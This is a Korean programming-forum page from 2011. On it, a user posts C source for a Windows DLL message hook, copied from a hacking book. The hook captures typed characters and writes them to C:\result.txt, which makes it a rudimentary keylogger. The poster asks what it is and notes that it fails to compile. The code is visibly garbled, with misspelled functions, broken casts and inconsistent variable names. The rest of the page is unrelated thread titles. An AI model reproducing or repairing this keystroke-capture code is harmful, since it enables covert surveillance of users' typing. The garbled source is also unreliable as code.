디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

님들 이게 뭔지알아요 ㅋㅋ?

안초심갤로그로 이동합니다. 2011.09.16 12:25:13
조회 79 추천 0 댓글 2

#include <windows.h>

#define BUFFER_SIZE 50

HINSTANCE hinst;

#define EXPORT_declspec(dllexport)


static char str[BUFFER_SIZE];  // 문자열을 저장할 버퍼
static int Max_buf = 50;              // 50자만 저장
static int count = 0;                    // 몇개의 문자가 쌓여있나 카운트
static BOOL stop = FALSE;

BOOL WINAPI Dll Main (HINSTANCE hinstDll , DWORD dwreason , LPVOID lpReserved)

{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
      hinst = hinstDll;
      str[0] = 0; // 단순한 배열 초기화
     }
      return TRUE;
     }
     EXPORT LRESULT CALLBACK GetMsgproc ( INT nCode , WPARAM wp , LPARAM lp)
     {
      HFILE hfile;
      long msgTemp;
     char strTemp[2];

     if( nCode >= 0 )
     {
      msgTemp = (MSH*>lp) -> message ; // 메세지 가져오기

    if( count < ( Max_buf + 2 ) )
     { // 받아 온 메세지중 WM_CHAR만 걸러낸다

    if( ( !stop ) && (msgTemp == (long)WM_CHAR ) )
    {
    if( ( count++) > 50 ) // 50자만 저장한다
    {
    char a [5] = { 13 , 10 , 13 , 10 , 0 }; // <CRLF> 두번 넣음

   hFile = _ lopen ("C:\\\\result.txt" , OF_READWRITE);

   if( hfile < 0 )
    { // 이미 있으면 이어 붙인다
     hFile = _ lcreat ("C:\\\\result.txt" , 0 );
     _llseek (hfile, 0L , FILE_BEGIN);
    }
    
    else__llseek(hfile, 0L , FILE_END);

  _lwirte ( hFile, a, 5 );
  _lwrite ( hFile, str , BUFFER_SIZE);
  _lclose(hFile);
 
    stop = TRUE; 
   }
   else
   {
    strTemp [0] = ((MSG*)lp) -> wParam;
    strTemp [1] = 0;

   strcat (str , strTemp);
     }
    }
   }
  }
 return (stop) ? TRUE : CallNextHookEx (NULL , nCode , wp , lp);

  }



이게 뭔지아는사람 ㅋㅋ??
해킹하는책에서 가져온건데
메세지후킹하는 파일만드는 소스인데 잘못적어왓나보다..ㅋㅋ컴파일오류뜸

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 모태 솔로도 구제해 줄 것 같은 연애 고수 스타는? 운영자 25/07/21 - -
AD 곧 휴가!! 홈캉스, 바캉스 SALE 운영자 25/07/21 - -
271052 헐 글을 삭제하다니..... 하지만 난... 기억하고있다. [1] Agangs갤로그로 이동합니다. 11.09.10 80 0
271051 다시작성해봄 ㅋ.. [2] 사고편향형ADHD갤로그로 이동합니다. 11.09.10 74 0
271047 니네 10년후에 뭐할꺼냐? [3] 후아(211.177) 11.09.10 129 0
271046 자바 초보 질문좀 도와 달랑께 우뮤(68.226) 11.09.10 35 0
271045 입에서 홍어냄새난다 찌르매미(203.229) 11.09.10 46 0
271044 보안 유저들은 없는가? 보안막장(118.91) 11.09.10 34 0
271043 곰녹음기 알아? [2] 官宮갤로그로 이동합니다. 11.09.10 68 0
271042 3주만에 데스크탑에 부팅 [1] Agangs갤로그로 이동합니다. 11.09.10 61 0
271041 형들은 c언어 공부하는데 몇달걸림? 찌르매미(203.229) 11.09.10 67 0
271039 안뇽 횽들? [4] 땡칠도사갤로그로 이동합니다. 11.09.10 80 0
271038 오옭 고마워영 이해됐음 찌르매미(203.229) 11.09.10 23 0
271036 타입이란게 정확히 뭐야? [7] 찌르매미(203.229) 11.09.10 67 0
271034 형들 나좀도와줘ㅠㅠ 자괴감이들어 [5] 찌르매미(203.229) 11.09.10 64 0
271033 개발을해야하나 [1] 三didas갤로그로 이동합니다. 11.09.10 76 0
271032 학부생 공부할 때 자료구조는 다 구현합시당 헤헤 [3] [성대아싸]갤로그로 이동합니다. 11.09.10 102 0
271031 엑셀문제인데... 이해가 안감 ㅠㅠ 본좌횽님들 도움좀.. [1] 하굣길갤로그로 이동합니다. 11.09.09 58 0
271030 비디오게임 만드는 회사있나요? [4] 244(116.42) 11.09.09 101 0
271029 할머니댁 마실 고양이 [2] 이모군(175.114) 11.09.09 71 0
271028 꼬꼬닭이도 참 인생을 뭐같이 사네. [1] 쵸쵸(219.251) 11.09.09 48 0
271027 이문동횽 궁금한거있어요 [12] op.Q갤로그로 이동합니다. 11.09.09 52 0
271026 명절에 나처럼... [2] 이문동쮸쮸바갤로그로 이동합니다. 11.09.09 71 0
271025 학생때를 돌이켜봐봐 형들!! [7] Agangs갤로그로 이동합니다. 11.09.09 97 0
271024 위탄2 신예림 [2] 三didas갤로그로 이동합니다. 11.09.09 73 0
271023 자료구조 질문좀 하자 [6] 차도컴공남갤로그로 이동합니다. 11.09.09 82 0
271022 아 토익스피킹 존내 절망 [2] [성대아싸]갤로그로 이동합니다. 11.09.09 79 0
271020 횽들 궁금한게있는데.... [2] stdlib.h갤로그로 이동합니다. 11.09.09 36 0
271018 프로그래머가 될려면 수학 [4] 파스칼(61.32) 11.09.09 100 0
271017 프로그래머 전망이 어떻나요 [4] aggagf(119.69) 11.09.09 342 0
271016 프갤횽들아 좀 도와줘 [12] ptrptr(112.156) 11.09.09 61 0
271015 10대때 준비하지 못한자는 황량한 20대를 보낼것이다. [2] 쵸쵸(219.251) 11.09.09 76 0
271013 자바스크립트 메소드 파라메터로 다른 메소드를 집어넣고.. 쵸쵸(219.251) 11.09.09 38 0
271012 읔...기운이없다.. Agangs갤로그로 이동합니다. 11.09.09 32 0
271011 아이돌 발라버리는 甲군단 ㅋㅋ 갑신(58.127) 11.09.09 94 0
271010 자료구조의 스택과, 메모리구조의 스택은 다른거에요? 답변해주면 당신은 [5] 좆대딩.갤로그로 이동합니다. 11.09.09 79 0
271009 '나는 프로그래머다' 이런거 안하냐? [4] ㅇㅇㅇ(121.144) 11.09.09 129 0
271008 내가 예언을 하나 하지 [1] 분당살람갤로그로 이동합니다. 11.09.09 73 0
271007 ㅄ쉑이 5줄코딩하고 crtl + s 누르는건 본능아니냐? [2] 쵸쵸(219.251) 11.09.09 84 0
271005 확실히 C++을 보고나서 JAVA를 보니까... 좋다.. [4] arduous갤로그로 이동합니다. 11.09.09 130 0
271003 한마디로 개발자는 호구다. 쵸쵸(219.251) 11.09.09 93 0
271002 빡세게 일병처럼 일해서 얻는 건 몬데? ㅋㅋㅋ 쵸쵸(219.251) 11.09.09 61 0
271001 기획자에게 정년이란 없다. 쵸쵸(219.251) 11.09.09 58 0
271000 야이 쉬발~!~!~! [7] 좃대딩(203.249) 11.09.09 82 0
270998 삼성 전자 신입 채용공고 (118.176) 11.09.09 234 0
270995 리눅스 초보가 질문좀 할께요ㅜㅜ [3] 촙오(220.70) 11.09.09 76 0
270994 그러다가 어느 순간에 (훅 간다) <- 이거 번역 좀 해줘봐. [1] ㄹㅇㄴㅁㄹㄴ(183.98) 11.09.09 57 0
270993 맥북으로 프로그래밍 하려면 에어로도 충분한가요? [1] 꼬비갤로그로 이동합니다. 11.09.09 293 0
270991 불쌍한 중생 구해주세요 (구해주면 당신은 원빈) [5] 좃대딩(203.249) 11.09.09 89 0
270990 프로그래머 수명이 35세라면 [2] 116.44(59.30) 11.09.09 155 0
270989 언어는 도구일뿐이고, 그 도구로 작품을 만들어내는게 기획자다. [3] 쵸쵸(219.251) 11.09.09 83 0
270988 자바가상머신 [4] 호솽갤로그로 이동합니다. 11.09.09 122 0
뉴스 방시혁도 웃었다! 의정부고 졸업사진, LA 화제의 투샷 100% 재현 디시트렌드 07.22
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

뉴스

디시미디어

디시이슈

1/2